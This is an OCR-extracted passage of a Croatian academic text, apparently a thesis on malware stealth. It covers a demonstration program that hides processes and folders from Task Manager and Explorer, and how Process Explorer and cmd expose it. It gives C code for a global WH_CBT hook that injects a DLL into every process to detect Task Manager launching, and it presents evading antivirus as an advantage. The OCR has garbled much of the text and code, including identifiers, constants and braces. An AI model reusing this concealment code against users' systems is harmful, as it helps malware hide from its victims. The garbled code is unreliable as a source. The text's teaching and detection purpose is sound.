Sude¢i prema ovome, program dobro djeluje 1 skriva procese 1 direktorije od korisnika, ¢ak
bez obzira na privilegije koje korisnik ima!

Ipak, prava istina je da ovaj program (tocnije, ova ideja i1 pristup sakrivanju od korisnika) ima
znatno vise nedostataka i kljuénih manjkavosti nego prednosti.

Prednosti ovog pristupa su prije svega prenosivost na razliite verzije Windows operacijskog
sustava, neovisnost o privilegijama korisnika 1 "titho" djelovanje. Buduéi da program ovisi
prije svega o elementima sucelja, a sucelje ciljanih programa nije se mijenjalo od Windowsa
NT 4.0 (1996. godina) pa sve do Windows Viste (2006. godina), Naive program uspjesno
obavlja svoj posao na svim operacijskim sustavima NT porodice. Druga velika prednost je
potpuna neovisnost o privilegijama korisnika. Ako korisnik moze pokrenuti navedene
programe (u suprotnom skrivanje ne bi imalo smisla) i sam Naive program, Naive program ¢e
uspjesno sakriti datoteke i1 procese. Treca 1 ne najmanje vazna prednost je vrlo "tihi" rad, tj.
djelovanje koje antivirusni programi i ostali alati specijalizirani za uocCavanje zlo¢udnih
aktivnosti mogu lako zanemariti ili uopée ne uociti. Jedina aktivnost ovog programa koja se
moze detektirati je pisanje u adresni prostor drugog procesa i Citanje iz njega. Te aktivnosti su



relativno uobicajene unutar samog operacijskog sustava Windows i vrlo je velika mogucénost
da, ¢ak i ako specijalizirani program dojavi sumnjivo ponaSanje u sustavu (Sto je, osim za
specijalizirani softver, vrlo malo vjerojatno), bude rije¢ o laznoj uzbuni, tj. da korisnik
zanemari upozorenje kada Naive zaista bude pristupao adresnom prostoru ciljnih procesa u
namjeri da prevari korisnika.

Nedostaci ovog pristupa su toliko brojni da ga ¢ine (gotovo) potpuno neupotrebljivim za
stvarno djelovanje. Najveéi problem je ve¢ spomenut, a vezan je uz sinkronizaciju. Prije
svega, Naive program mora znati kada su prozori Task Manager-a i Windows Explorer-a
aktivni. Onako kako su stvari dosad razmatrane, ne postoji druga moguénost osim da program
izvodi neku vrstu radnog cekanja i Citavo vrijeme u petlji ispituje da 1i su se pojavili
odgovaraju¢i procesi. To ispitivanje ne smije biti "preagresivno" jer bi u tom slucaju
Naive.exe proces zauzeo veliki postotak resursa, ve¢ mora biti osigurano pravedno izvodenje
svih dretvi na sustavu (to se u najjednostavnijem slucaju postize pozivom funkcije sieep ()).
Osim $to je ovakav pristup iznimno nespretan, ostavlja mali vremenski prozor¢i¢ korisniku
unutar kojeg on moze uociti aktivnost zloCudnog procesa (ako se dretva Naive.exe procesa
probudila nakon Sto je korisnik ve¢ vidio stvarnu listu procesa, S$to je sasvim realna
mogucnost). Takoder, osvjezavanje liste procesa odvija se u diskretnim vremenskim
intervalima, no uskladivanje brisanja ciljnog procesa s osvjezavanjem na ovaj je nacin u
op¢em slucaju nemogudée jer sama brzina brisanja ovisi o brzini izvodenja koda Naive.exe
procesa i o trenutnom optere¢enju sustava, dostupnim resursima i drugim parametrima na
koje se teSko moze izravno utjecati. Posljedica toga je vidljivo "treperenje" procesa koji se
briSe (njegovog pojavljivanja i ponovnog nestajanja). To treperenje moze biti prisutno u
velikoj ili vrlo maloj mjeri, no gotovo je uvijek uocljivo, barem do razine da se u korisniku
pobudi sumnja u neobicnu aktivnost.

Jednak problem predstavlja i treperenje ukupnog broja procesa u statusnoj traci, no ono je
manje izrazeno jer se azuriranje tog podatka moze provoditi sa znatno vecom frekvencijom.
Ovom problemu moze se doskocCiti tako da se u potpunosti (iz programa Naive) zaustavi
osvjezavanje liste procesa. Problem time doista jest rijeSen, no korisniku to moze biti znak
neobi¢ne aktivnosti, pogotovo ako je sam postavio brzinu osvjezavanja i ako se nakon
ponovnog postavljanja od strane korisnika, osvjezavanje ponovno zaustavi. Zbog toga takav
pristup nije koriSten u programu. Problemi treperenja nisu prisutni kod brisanja datoteka jer
tamo nije prisutno automatsko osvjezavanje. Medutim, korisnik u svakom trenutku moze
ruéno osvjeziti prozor koriStenjem tipke F5. RjeSenje te situacije je takoder uvodenje
vremenskih brojaca. Nakon §to se prode kroz kompletnu listu direktorija koji su trenutno
prikazani na zaslonu i pronade se onaj koji se treba obrisati, dretva koja obavlja brisanje
postaje neaktivna na pola sekunde, a zatim ponovo prolazi kroz cijelu listu i trazi
odgovaraju¢i direktorij (ako se on tipkom F5 slu¢ajno ponovno pojavio). Manje ograni¢enje
zauzima viSe procesorskog vremena, no i ovdje je prisutan problem s malim vremenom
neaktivnosti unutar kojeg korisnik moZze uociti sakrivani direktorij. Ako korisnik iz direktorija
u kojem je vidljiv direktorij koji se skriva ude u neki drugi direktorij i potom se vrati natrag
(npr. ako se iz direktorija Naive na slici 6.2 korisnik pozicionira u direktorij Testing, a zatim
se nazad vrati u direktorij Naive koji sadrzi direktorij Proba koji se skriva), program nece
raditi ispravno, tj. direktorij nece biti skriven. Razlog tome je §to odgovarajuci prozor dijete
nestaje i zatim se ponovo stvara, pa ru¢ica na prvotni prozor dijete vise nije odgovarajuca, veé
ju treba obnoviti. Takoder, naknadnim otvaranjem novog Windows Explorer prozora i
pozicioniranjem u direktorij koji sadrzava direktorij koji se skriva, direktorij u tom prozoru
nece biti sakriven jer program (u ovom obliku) djeluje samo na prvom pronadenom Explorer



prozoru. Ako se Windows Explorer otvori kraticom WinKey + E, prozor ¢e sadrzavati i
stablastu strukturu direktorija (koja se 1 u opem slucaju moze ukljuciti u opcijama). Stablasta
se struktura pojavljuje u svom prozoru koji je i potpuno druge klase (SysTreeView32) i ciljani
direktorij ostaje neskriven u tom prozoru. Obnavljanje rucice, pretrazivanje svih prozora i
brisanje direktorija i u stablastoj strukturi je moguée provesti, no uvodi dodatnu kompleksnost
u program jer je Citavo vrijeme potrebno osluskivati novostvorene prozore, obnavljati rucice,
odnosno prolaziti kroz stablastu strukturu $to podrazumijeva rekurziju. U prilozenom
demonstracijskom programu to nije ucinjeno, u doradenijem programu to je moguce provesti,
no kompleksnost i zauzeée resursa zhog vremenske prirode osluskivanja na nove prozore bi
poprilicno poraslo, a zbog rekurzije bi se 1 prostorna slozenost znatno povecala.
Demonstracijski program nije potpun u smislu predvidanja svih mogucih dogadaja koji se u
sustavu mogu pojaviti, ne vodi rauna o greskama i ne rukuje ispravno s greSkama i ne
predstavlja optimalno rjeSenje problema. Medutim, iako su ovi nedostaci vidljivo vrlo
ogranicavajuci, jo§ nisu navedeni oni klju¢ni, zbog kojih niti jedan program koji koristi
ovakav pristup, ma koliko doraden i pametno napisan bio, nije upotrebljiv u opéem slucaju.

Osnovni je problem ovog pristupa $to je povrsan i $to je ovisan o aplikacijama. PovrSnost
pristupa ocituje se u tome $to se ne mijenjaju nikakve stvarne strukture podataka, ve¢ se samo
mijenja ispis, mijenja se izgled onoga $to korisnik na svome zaslonu vidi. Izgled je moguce
mijenjati samo u ovisnosti o aplikaciji koja te informacije prezentira (u ovom slucaju Task
Manager/Windows Explorer) 1 od tuda ovisnost o pojedinim aplikacijama.

Na srecu obi¢nog korisnika, ove aplikacije nisu jedine koje pruzaju informacije o procesima,
odnosno o direktorijima i datotekama na sustavu. Postoji bezbroj aplikacija takve vrste i
nemoguce je da program s ovakvim pristupom istodobno i uspjesno skriva zeljene informacije
u svim potrebnim programima. StoviSe, postoji alat &iji je ispis na ovaj nain nemoguce
mijenjati, a najbolje od svega je da je ugraden u sam operacijski sustav. Radi se o obi¢noj
komandnoj liniji operacijskog sustava — cmd.

Uporabom takvih "dodatnih" alata djelovanje Naive programa u potpunosti je ponisteno, $to je
prikazano na slici 6.4.
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Slika 6.4 Otkrivanje aktivnosti Naive programa pomocu dodatnih alata

Za ispis aktivnih procesa koriSten je alat Process Explorer [5a] koji nudi mnostvo opcija i
otporniji je na "napade" od obi¢ne Task Manager aplikacije jer koristi vlastiti upravljacki
program za pribavljanje aktivnih procesa. U ispisu je vidljivo da Process Explorer vidi proces
notepad.exe, dok ga Task Manager ne vidi jer je on sakriven Naive programom. Na slici je
istaknuta 1 razlika u ukupnom broju procesa na sustavu. lako se datoteka Proba ne vidi u
Explorer prozoru, ona je jasno vidljiva u komandnoj liniji. Buduéi da se komandna
linjja/konzola u operacijskom sustavu Windows tretira kao specijalan prozor koji nema sve
moguénosti komunikacije porukama kao ostali prozori, program Naive je protiv obicne
komandne linije nemoc¢an. Komandna linija je zbog ovog svojstva (€injenice da se radi o
posebnom prozoru, o dijelu tzv. klijent — posluzitelj podsustava, engl. CSRSS — Client —
Server Runtime Server Subsystem) izrazito korisna i1 obi¢ni bi ju korisnici trebali Cesto
koristiti kao pomo¢ pri otkrivanju zlo¢udnih aktivnosti na sustavu.

Program Naive pokazao se kao gotovo potpuni neuspjeh, no ipak je ukazao na vrlo vazne
aspekte sakrivanja objekata u operacijskom sustavu. Program za zastitu od ovakvih aktivnosti
u svakom slucaju mora imati listu procesa dobivenu iz potpuno povjerljivog izvora kojeg nije
moguce lako izmijeniti. Na taj nain bi se izbjegle ovakve (ali 1 znatno sofisticiranije)
manipulacije. NeSto sloZenije je izvesti nadzor adresnog prostora nekog procesa 1 uociti i
dojaviti manipulaciju s tim prostorom od strane nekog drugog procesa, no potpuniji i bolji
programi bi to svakako trebali imati u popisu funkcionalnosti.



Prije nego §to se u potpunosti odbaci pristup koriSten u programu Naive, prakticno je na tom
primjeru pokazati jednu iznimno vaznu tehniku koja se vrlo Cesto koristi kod zlo¢udnih
programa i ¢esto ¢e se spominjati u raznim kontekstima u ovome radu.

Program Naive nije imao moguénost detektiranja aplikacije, tj. nije mogao sam otkriti kada se
pokrenuo Task Manager, odnosno Windows Explorer proces. Predlozeno je rjesenje u kojemu
se izvodi radno ¢ekanje s ispitivanjem da li su odgovarajuci prozori stvoreni. Takav je pristup
iznimno nepraktian i naivan. No operacijski sustav Windows posjeduje mehanizam koji
omogucava aplikacijama da djeluju na aktivnosti kao §to su pokretanje novih prozora, njihovo
zatvaranje, aktiviranje nekog postojeeg prozora, minimizacija prozora, zatim rad s
tipkovnicom i miSem ("ocitavanje" trenutnih koordinata misa ili pra¢enje unosa s tipkovnice),
presretanje poruka izmedu dviju aplikacija i dr. Mehanizam na engleskom nosi naziv
Windows Hooks, hrvatski je prijevod pomalo nespretan, no koristit ¢e se naziv Windows kuke.

Windows kuka je mehanizam koji se sastoji od dva entiteta: dogadaja (engl. event) i
filtriraju¢e funkcije koja se poziva kao reakcija na taj dogadaj. Mehanizam je vrlo slican
mehanizmu obrade prekida u operacijskim sustavima: kada se dogodi neki prekid, pokrece se
procedura za obradu prekida ¢ija je adresa odredena u tablici prekidnih vektora/rutina.
Windows operacijski sustav dozvoljava postojanje vise filtriraju¢ih funkcija koje se odnose na
jedan te isti dogadaj pa se u operacijskom sustavu interno odrzava lanac filtrirajucih funkcija,
pri cemu se zadnje stvorena filtriraju¢a funkcija dodaje na pocetak lanca. Filtriraju¢a funkcija
se aktivira nakon §to se dogodi dogadaj za koji je ona registrirana (postavljena). Postavljanje
filtrirajuce funkcije obavlja se pozivom funkcije setwindowsHookEx (). Nakon §to je filtrirajuca
funkcija aktivirana, ona kao parametar prima strukture podataka koje se odnose na
odgovaraju¢i dogadaj 1 te parametre funkcija moZe izmijeniti, moze ih propustiti
nepromijenjene drugim funkcijama (koristenjem funkcije ca1ivextHookex ()) ili ¢ak zaustaviti
daljnje pozivanje filtriraju¢ih funkcija u lancu, eksplicitno zaustavljaju¢i protok poruke kroz
lanac. Ilustracija jednog takvog lanca dana je na slici 6.5.

SetWindowsHookEx ()
(novoumetnuta filtriraju¢a procedura)

WM _CREATE

WH_CBT kuka

4. filtrirajuca A

procedura /

a ]
car e /: /

LY

2. filtrirajuca procedura S—-—— —

3. filtrirajuca
procedura

Slika 6.5: Primjer lanca za tip kuke wa_cBT



Postoje razlicite kategorije Windows kuka u ovisnosti o dogadajima na koje zelimo reagirati.
Sve kategorije pocinju s nazivom wx, iza ¢ega slijedi naziv koji pobliZze opisuje dogadaje na
koje je potrebno reagirati. Na slici 6.5 prikazan je primjer lanca za kategoriju kuke wa _cBt
(engl. CBT — Computer Based Training). Ova vrsta kuke namijenjena je za stvaranje
aplikacija koje korisnika uce radu na racunalu, reagiraju kada se pokrene neki program
ispisyjuci najcesSc¢e razne informacije o programu, prate aktivne prozore i sli¢no (vise o ovoj
vrsti Windows kuke kao i o kukama opcenito moze se procitati u vrlo dobrom tekstu [17]). Ta
vrsta kuke pokazat ¢e se vrlo korisnom u nadogradnji programa Naive. Na slici 6.5 operacijski
sustav zeli stvoriti prozor porukom wv CrReATE, no prije nego $to se prozor stvori, proces
stvaranja prozora prolazi kroz wa csr lanac. Svaka filtrirajuéa funkcija moze prije slanja
podataka ostalim funkcijama u lancu promijeniti parametre, $to je naznaceno razliitim
bojama iscrtkanih strelica na slici. Tek nakon §to zadnja funkcija zavrsi s izvodenjem, Salje se
poruka wv create odgovaraju¢em prozoru. Naravno, svaka funkcija u lancu moze sprijeciti
pozivanje daljnjih funkcija, pa je moguce zaustaviti stvaranje odgovarajuéeg prozora, tj.
poruka wM creaTe se nikada nece isporuciti. Nepisano pravilo kaze da je uvijek pozeljno
"nastaviti" lanac, tj. poslati podatke sljedecoj filtriraju¢oj funkciji u lancu, no nista ne
garantira da je to uvijek slucaj. Stovise, nakon umetanja filtrirajue funkcije u lanac
nemoguce je sa sigurnoscu odrediti na kojem se mjestu u lancu ta funkcija nalazi (osim
odmah pri samom umetanju kada je filtriraju¢a funkcija sigurno na pocetku lanca). Ne postoje
nikakve garancije da ¢e umetnuta filtriraju¢a funkcija ikada biti pozvana jer je naknadno
mozda umetnuta filtriraju¢a funkcija koja parametre ne prosljeduje ostalim funkcijama u
lancu. Ipak, takvi su slucajevi vrlo rijetki zbog navedenog nepisanog pravila o pozivanju
sljedece funkcije u lancu kojeg se vecina programa ipak pridrzava.

Postoje dva osnovna oblika Windows kuka — na razini cjelokupnog sustava i na razini
pojedine dretve. Neke kategorije kuka vezane su iskljucivo za cjelokupni sustav, dok se
veéina kuka moze postaviti i na razini cijelog sustava i na razini pojedine dretve (potpuni
popis vidjeti na prije navedenoj stranici [17]). Osnovna razlika izmedu ta dva oblika jest
kontekst u kojem se odgovarajuée filtrirajuée funkcije postavljene za tu kategoriju kuke
izvode. U slucaju kuke na razini dretve, filtrirajuca se funkcija izvodi isklju¢ivo u kontekstu te
dretve. Takav oblik kuke ne odnosi se na globalne dogadaje na razini cijelog sustava, vec¢ se
odnosi na dogadaje vezane uz tu dretvu (npr. presretanje poruka poslanih toj dretvi, kontrola
korisnickog unosa s tipkovnice i sli¢no). Ako se Zeli pokrenuti akcija na razini cjelokupnog
sustava (primjerice, otkriti stvaranje ili zatvaranje bilo kojeg prozora u sustavu), tada se kuka
mora postaviti na razini cjelokupnog sustava. Kako bi to programski bilo moguce, filtriraju¢a
funkcija mora biti napisana u biblioteci dinamickih veza (engl. DLL — Dynamic link library)
koja se izravno moze ubaciti u bilo koji proces u sustavu i izvoditi u kontekstu bilo koje
dretve. Vrlo je vazno uociti da se filtriraju¢a procedura u sluc¢aju "globalne kuke" moZze izvesti
u kontekstu bilo koje dretve na sustavu, a iz te Cinjenice proizlazi nekoliko problema. Prvi
problem je dijeljenje resursa izmedu dva odvojena procesa. Sve globalne varijable u tom su
slucaju vidljive samo unutar jednog procesa i u potpunosti su nepoznate nekom drugom
procesu. Varijable koje Zelimo dijeliti izmedu procesa unutar DLL-a moraju biti smjeStene u
dijeljeni odsjecak adresnog prostora procesa. Tom dijelu adresnog prostora mogu pristupiti i
ostali procesi pa se na taj nacin mogu dijeliti podaci izmedu procesa. Prilikom dijeljenja
podataka nikako se ne smiju dijeliti pokaziva¢i na neke memorijske adrese (pokazivaci
nazalost ¢ine ve¢inu podatkovnih struktura Windows API-a) jer pokaziva¢ u jednom procesu
nema nikakvo znacenje u drugom procesu i velika je vjerojatnost da pokazuje na posve krivu
memorijsku adresu. RazrjeSavanje krive memorijske adrese najces¢e vodi do pogreske
pristupa (engl. access violation) 1 do rusenja programa. Buduéi da se filtrirajuca funkcija



globalne kuke izvodi u kontekstu bilo koje dretve, greska u kddu vjerojatno ¢e biti pogubna
po rad operacijskog sustava i zahtijevat ¢e ponovno pokretanje sustava. To je ujedno 1 drugi
problem globalnih kuka — prilikom stvaranja filtrirajuée funkcije nuzna je velika pozornost
kako bi kdd bio u potpunosti ispravan. Jo§ jedan problem globalnih kuka jesu performanse
operacijskog sustava. U slucaju postavljanja npr. wa_revsoarp globalne kuke koja je zaduzena
za otkrivanje, procesiranje i modificiranje svih dogadaja vezanih za tipkovnicu, nasa
specificirana filtriraju¢a procedura (kao 1 sve ostale procedure u tom lancu) izvest ¢e se svaki
put kada korisnik pritisne tipku na tipkovnici. Jasno je da to moze imati drasti¢ne posljedice
po performanse sustava, osobito ako je filtriraju¢a funkcija sloZena ili loSe napisana. Zbog
svega navedenoga pri postavljanju globalnih kuka i odgovarajucih filtriraju¢ih procedura
potrebno je biti vrlo oprezan.

Globalne kuke (odnosno odgovarajucée filtrirajuce funkcije) postavljaju se najcesce tako da
postoji glavni program koji je implicitno povezan s DLL-om u kojem se nalazi filtrirajuca
procedura (povezivanje je izvedeno tijekom prevodenja samog programa) i koji poziva
funkciju setwindowsHookEx (). Nakon §to se dogodi odgovaraju¢i dogadaj, filtrirajuca se
funkcija poziva u kontekstu procesa koji je uzrokovao aktiviranje filtrirajuce funkcije, tj. koji
Jje uzrokovao dogadaj. Najcesée glavni program mora biti obavijesten o uspjeSnom aktiviranju
kuke pa filtriraju¢a funkcija porukom dojavljuje to glavnom programu. Ovaj je postupak
ilustriran slikom 6.6.

@ Aplikacija Zeli stvoriti prozor
WM _CREATE -

Aplikacija
Cre: dow ()

o iizvodenje fltrirajuce funkcije

wiranje kuks N
@ Aktiviran] u kontekstu aplikacije — Zadnja filtrirajuca procedura
— —

— zavriava i dopusta se stvaranje
prozora
DLL I
DLL |
while (GetMessage(...)) /
{.0} Filtrirajuca funkcija obavjestava Worker proces
o aktiviranju kuke i predaje parametre drugim funkcijama u lancu /
— __ —SendMessage() S

CallNextHookEx () — —

Slika 6.6: Postupak postavljanja, aktiviranja i reakcije na globalnu wa_cet kuku

Na slici su prikazana 2 procesa: Worker 1 Aplikacija. Worker program ima implicitno
uklju¢enu DLL datoteku koja se u kdd ugradila tijekom prevodenja. U DLL datoteci nalazi se
poziv funkcije setwindowsHookEx () kao 1 odgovarajuca filtriraju¢a funkcija. Worker program
pozivom funkcije setwindowsHookEx () postavlja globalnu wu cer kuku. U trenutku kada
Aplikacija Zeli stvoriti prozor pozivom funkcije createwindow (), taj se poziv (to¢nije isporuka
poruke wv creaTE od strane operacijskog sustava) privremeno zaustavlja 1 zapocinje se
izvoditi filtriraju¢a procedura u kontekstu Aplikacije. To je na slici prikazano umetanjem DLL



biblioteke u adresni prostor Aplikacije. Namjerno je na slici DLL datoteka u adresni prostor
Aplikacije smjeStena neSto "nize" nego Sto je to slucaj s Worker programom, kako bi se
naglasila potpuna neovisnost tih adresnih prostora i Cinjenica da pokazivacka varijabla u
jednom procesu pokazuje vrlo vjerojatno na sasvim krivu adresu u drugom procesu. Nakon
umetanja DLL-a, pokreée se filtriraju¢a funkcija koja funkcijom sendmessage () obavjeStava
Worker program o aktiviranoj proceduri i eventualnim rezultatima. Filtriraju¢a funkcija
zavrSava pozivanjem sljedece funkcije u lancu. Pretpostavlja se da sve funkcije u lancu
ispravno zavrSavaju i da se dopusta stvaranje prozora kojeg je zatrazila Aplikacija.

Mehanizam Windows kuka je u svojoj potpunosti znatno opSirniji nego S$to je ovdje
najosnovnije prikazano, no na navedenoj stranici [17] mogu se pronaci ostale potrebne
informacije.

Kako se mehanizam kuka moze iskoristiti kod Naive programa? Nacin njegove upotrebe
identi¢an je onome opisanom na slici 6.6. Osnovna funkcionalnost Naive programa ostat ¢e
ista (za potrebe demonstracije skrivat ¢e se samo proces u Task Manager aplikaciji, ne i
direktorij u Windows Explorer aplikaciji, iako je postupak u principu isti). Programu se
dodaje DLL datoteka unutar koje ¢e biti funkcije za postavljanje i uklanjanje kuke odnosno
filtriraju¢e funkcije, koja se takoder nalazi unutar DLL datoteke. Glavni program c¢e se
"smjestiti" u sistemsku traku s programima i ¢ekat ¢e odgovarajucu poruku koju ¢e primiti
kada se stvori Task Manager proces (ili ¢e reagirati na poruku izlaska koju mu moze poslati
korisnik odabirom opcije Exit u kontekstnom meniju). Nakon primitka te poruke, pokrece se
ve¢ poznato "skrivanje" procesa.

Prvi korak je izrada DLL datoteke. DLL datoteka je u osnovi obi¢an skup funkcija koji se
moze ukljuciti u bilo koji program (koji to eksplicitno zatrazi, ili kojem programer namjerno
umetne DLL koéd u adresni prostor, kao u ovom slucaju). Programski model biblioteka
dinamicke veze slian je bilo kojoj aplikaciji pisanoj u jeziku C, osim §to je ulazna procedura
(engl. entry point) nesto drukcija, a za Naive program (ova verzija nosit ¢e naziv Naive —
improved, glavni program nosi ime NaiveWorker, a DLL datoteka NaiveDLL) prikazana je na
ispisu 6.8.

BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD ul reason for call, LPVOID lpReserved)
{
switch(ul reason_for call)

{
case DLL_PROCESS_ATTACH:

hDLLInstance = hInstance;
UWM_TASKMANCREAT = RegisterWindowMessage (UWM TASKMANCREAT MSG) ;
break;

case DLL_PROCESS_DETACH:
//MakniTaskHook (hDialog) ;
break;
}
return TRUE;

Ispis 6.8: Ulazna procedura NaiveDLL datoteke

Ulazna procedura nosi ime p11Main i prima nekoliko parametara od kojih nam je najvazniji
drugi parametar. Taj parametar odreduje "razlog" pozivanja piiMain() funkcije. pliMain ()
funkcija poziva se u slucaju kada neki proces ili neka dretva "ubace" kod DLL datoteke u svoj



adresni prostor (kodovi p1L_PROCESS ATTACH 1 DLL THREAD ATTACH), odnosno kada taj proces ili
dretva zavrSavaju (kodovi p11_process/TarReaD DETACH). U ovom slucaju, prilikom ubacivanja
DLL datoteke u adresni prostor procesa inicijalizira se globalna varijabla koja pokazuje na
instancu DLL datoteke 1 registrira se poruka uwM TASKMANCREAT U operacijskom sustavu
Windows. Doti¢na poruka ¢e se slati procesu NaiveWorker 1 zbog toga ju je potrebno
registrirati. Kada proces zavr$ava, najcesce se poziva funkcija koja oslobada zauzete resurse
(u ovom slucaju uklanja postavljenu kuku), no to ¢e se obaviti iz Naive Worker programa koji
je kuku 1 postavio, tako da u ovom slucaju to nije potrebno.

U DLL datoteci potrebno je definirati 1 funkciju postaviTaskHook() koja ¢e obaviti
postavljanje odgovarajuce kuke:

__declspec(dllexport) BOOL PostaviTaskHook (HWND hWnd)

{
if (hDialog != NULL) return false; //veé postoji hook

//tip kuke je WH CBT, to nam omoguc¢ava pracenje stvaranja novih prozora
//Procedura koja se poziva u slucaju stvaranja novog prozora je HookProc
//Kuka je globalna, postavlja se za sve procese u sustavu, sto doslovno znaci
//da ¢e se HookProc izvesti za svaki novostvoreni prozor

hHook = SetWindowsHookEx (WH_CBT, HookProc, hDLLInstance, 0);

//ako se nije dogodila gre$ka, inicijaliziramo odgovarajuéi prozor koji
//predstavlja Worker proces
if (hHook != NULL)
{
hDialog = hWnd;

return true;

return false;

Ispis 6.9: Funkcija koja postavlja wi_cer kuku

Sam potpis funkcije oznacava da se radi o funkciji unutar DLL datoteke, pa se s
__declspec (dllexport) konstruktom oznacava da se ta funkcija "izvozi" iz datoteke, tj. da se
moze pokrenuti iz bilo kojeg procesa koji je ukljuc¢io DLL datoteku u svoj adresni prostor. Na
novostvorenu kuku pokazuje rucica nuook. Ostatak funkcije vrlo je dobro komentiran i ne
trazi dodatno objasnjenje. Tip kuke koji se postavlja je we_crt jer zelimo reagirati u trenutku
stvaranja Task Manager procesa (i to prije nego $to se doti¢ni prozor uopce stvori!).

Funkcija kao parametar prima rucicu na prozor koji oznacava glavni (ujedno i nevidljivi)
prozor NaiveWorker programa kojem e se slati uwu_taskvancreat poruka o aktiviranom Task
Manager-u. Prozor se sprema u dijeljenu varijablu npialog, $to je ostvareno na sljedeéi
nacin:

#pragma data_seg(".SHRD")

HWND hDialog = NULL;

#pragma data_seg()
#pragma comment (linker, "/section:.SHRD,rws")

Ispis 6.10: Definiranje dijeljene varijable npialog



Osim funkcije za postavljanje kuke, uvijek mora postojati funkcija za uklanjanje kuke (iako se
sama kuka briSe zavrSetkom procesa koji je kuku postavio). Pozivom funkcije
UnhookWindowsHookEx () uklanja se postavljena kuka. Funkcija makniTasktook () koja poziva tu
funkeciju i uklanja kuku dana je na ispisu 6.11.

__declspec(dllexport) BOOL MakniTaskHook (HWND hWnd)
{
if (hWnd == NULL || hWnd != hDialog)
return false;

BOOL ret = UnhookWindowsHookEx (hHook) ;

if(ret) hDialog = NULL;

return ret;
Ispis 6.11: Funkcija za uklanjanje postavijene kuke

Filtriraju¢a funkcija nosi naziv sookproc () 1 dana je na ispisu 6.12.

LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam)
{
TCHAR szBuf[256];

//provjeri da 1i Jje rije¢ o naSoj kuki, ako nije, zovi sljedeéu kuku u nizu
if (nCode < 0)

return CallNextHookEx (hHook, nCode, wParam, lParam);

//ako je stvoren novi prozor

if (nCode == HCBT_CREATEWND)

{
//dohvati ruc¢icu na stvoreni prozor
HWND hWinNew = (HWND) wParam;
DWORD dPID;

//zanima nas PID novog prozora, tj. njegovog procesa
GetWindowThreadProcessId (hWinNew, &dPID);

//otvaramo taj proces za pisanje (iako se ovaj kod izvodi upravo u
//tom procesu)

HANDLE hProc = OpenProcess (PROCESS VM READ \
PROCESS_QUERY_INFORMATION, FALSE, dPID);

//dohvac¢amo ime procesa koji je odreden rucicom hProc
GetModuleFileNameEx (hProc, NULL, szBuf, 256);

//ako se radi o Task Manager procesu
if (!1strempi (szBuf, T ("C:\\WINDOWS\\system32\\taskmgr.exe")) || \
!Istrcmpi (szBuf, T ("C:\\WINNT\\system32\\taskmgr.exe")))

//posalji poruku Worker aplikaciji, tj. njenom prozoru koji
//je odreden ruc¢icom hDialog - PID se prenosi kao wParam

PostMessage (hDialog, UWM TASKMANCREAT, dPID, O0);


file://WINNT//system32//taskmgr.exe

//uvijek je pristojno pozvati sljedec¢u kuku u nizu, iako to nije nuzZno
return CallNextHookEx (hHook, nCode, wParam, lParam);

Ispis 6.12: Filtrirajuca funkcija za wa_csr kuku

U slucaju da je stvoren novi prozor (kdd rcer creaTewnD) vrsi se dojavljivanje NaiveWorker
programu. Dok je u programu Naive "prepoznavanje" Task Manager aplikacije izvrSeno po
nazivu prozora (Windows Task Manager), ovdje se to radi na druk¢iji nacin kako bi se
demonstriralo da prvi nacin nije jedini. Task Manager aplikacija prepoznaje se prema svojoj
izvr$noj datoteci koja se uobicajeno nalazi u direktoriju C:\Windows\system32\taskmgr.exe
(Windows XP) ili C:\WINNT \system32\taskmgr.exe. Ovaj pristup nema prednosti pred prvim,
samo je dan kao demonstracija druk¢ije mogucénosti. Valja naglasiti da su oba pristupa
jednako losa jer se oslanjaju na podatke u operacijskom sustavu koji bi trebali biti uvijek isti,
iako to ne mora biti tako. Napredniji program bi morao vrsiti slozenija ispitivanja kako bi
ustvrdio da se doista radi o ciljanoj aplikaciji.

Ako se doista radi o Task Manager aplikaciji, filtriraju¢a funkcija Salje uwv TASKMANCREAT
poruku NaiveWorker programu, koji je odreden ve¢ navedenom hpialog ru¢icom. U poruci se
kao parametar Salje i1 identifikator Task Manager procesa spremljen u varijabli dp1p, a to je
nuzno kako bi NaiveWorker program mogao ispravno identificirati 7ask Manager prozor
(ru¢icu na prozor bilo bi "opasno" slati jer, iako su ruice na prozore razliCitih procesa
globalne i iste u oba procesa, preporuka kaze da se nikada porukama ne bi trebale slati
nikakve rucice).

SrediSnji dio NaiveWorker programa cini takozvana petlja poruke u kojoj program prima
poslane mu poruke i1 obavlja akcije u skladu s vrstom poruke. Doti¢na petlja u NaiveWorker
programu ima oblik prikazan na ispisu 6.13.

PostaviTaskHook (hDialog) ;

bool zastE = false;
bool zastT = false;

while (GetMessage (&msg, NULL, 0, 0))
{

//ako je primljena poruka od strane Task managera (pokrenut je Windows Task
//Manager)
if (msg.message == UWM_TASKMANCREAT)
{
//odspavaj, da dopustimo pojavu Worker aplikacije u listi procesa
Sleep(300);

//buducéi da ¢e se kuka aktivirati za SVE STVORENE prozore (Cak i za
//prozore djecu, a Task manager ima mnogo prozora djece), nakon 3to
//smo primili dojavu za glavni prozor ne zelimo daljnje dojave

if (zastT == true) continue;

//PID se Salje kao wParam u poruci
dTaskManPID = (DWORD) msg.wParam;



//moramo nac¢i ru¢icu na Task manager prozor
if (!EnumWindows (NadjiProzor, 0))
{

//naisli smo ili na Task manager prozor ili se dogodila
//gre$ka u enumeraciji

if (hTaskManWnd == NULL) ;

//ovo je greSka, trebalo bi ju nekako handlati

//stvori dretvu koja ¢e vr3iti obradu

HANDLE hThreadT = CreateThread(NULL, 0, TaskManagerObrada,\
(LPVOID) hTaskManWnd, 0, NULL);

CloseHandle (hThreadT) ;
Sleep(5000);
zastT = true;
}
continue;
}
if(!IsDialogMessage (hDialog, &msg))
{
TranslateMessage (&msq) ;
DispatchMessage (&msg) ;

zastE = false;
zastT = false;

MakniTaskHook (hDialog) ;

Ispis 6.13: Osnovna petlja NaiveWorker programa

U NaiveWorker programu najprije se ugraduje odgovarajuéa kuka, a zatim se ulazi u glavnu
petlju poruke. Kada se primi definirana vwv TaskvancreaT poruka, zapocinje se s obradom
liste procesa. Najprije je iz PID-a Task Manager procesa potrebno dobiti ruficu na
odgovaraju¢i prozor Sto se obavlja pozivom funkcije Enumwindows (), odnosno pozivom
odgovarajuce funkcije povratnog poziva — NadjiProzor (). Vazno je uocCiti da ¢e se za svaki
stvoreni prozor dijete koji pripada Task Manager procesu (a takvih je vrlo mnogo) pozvati
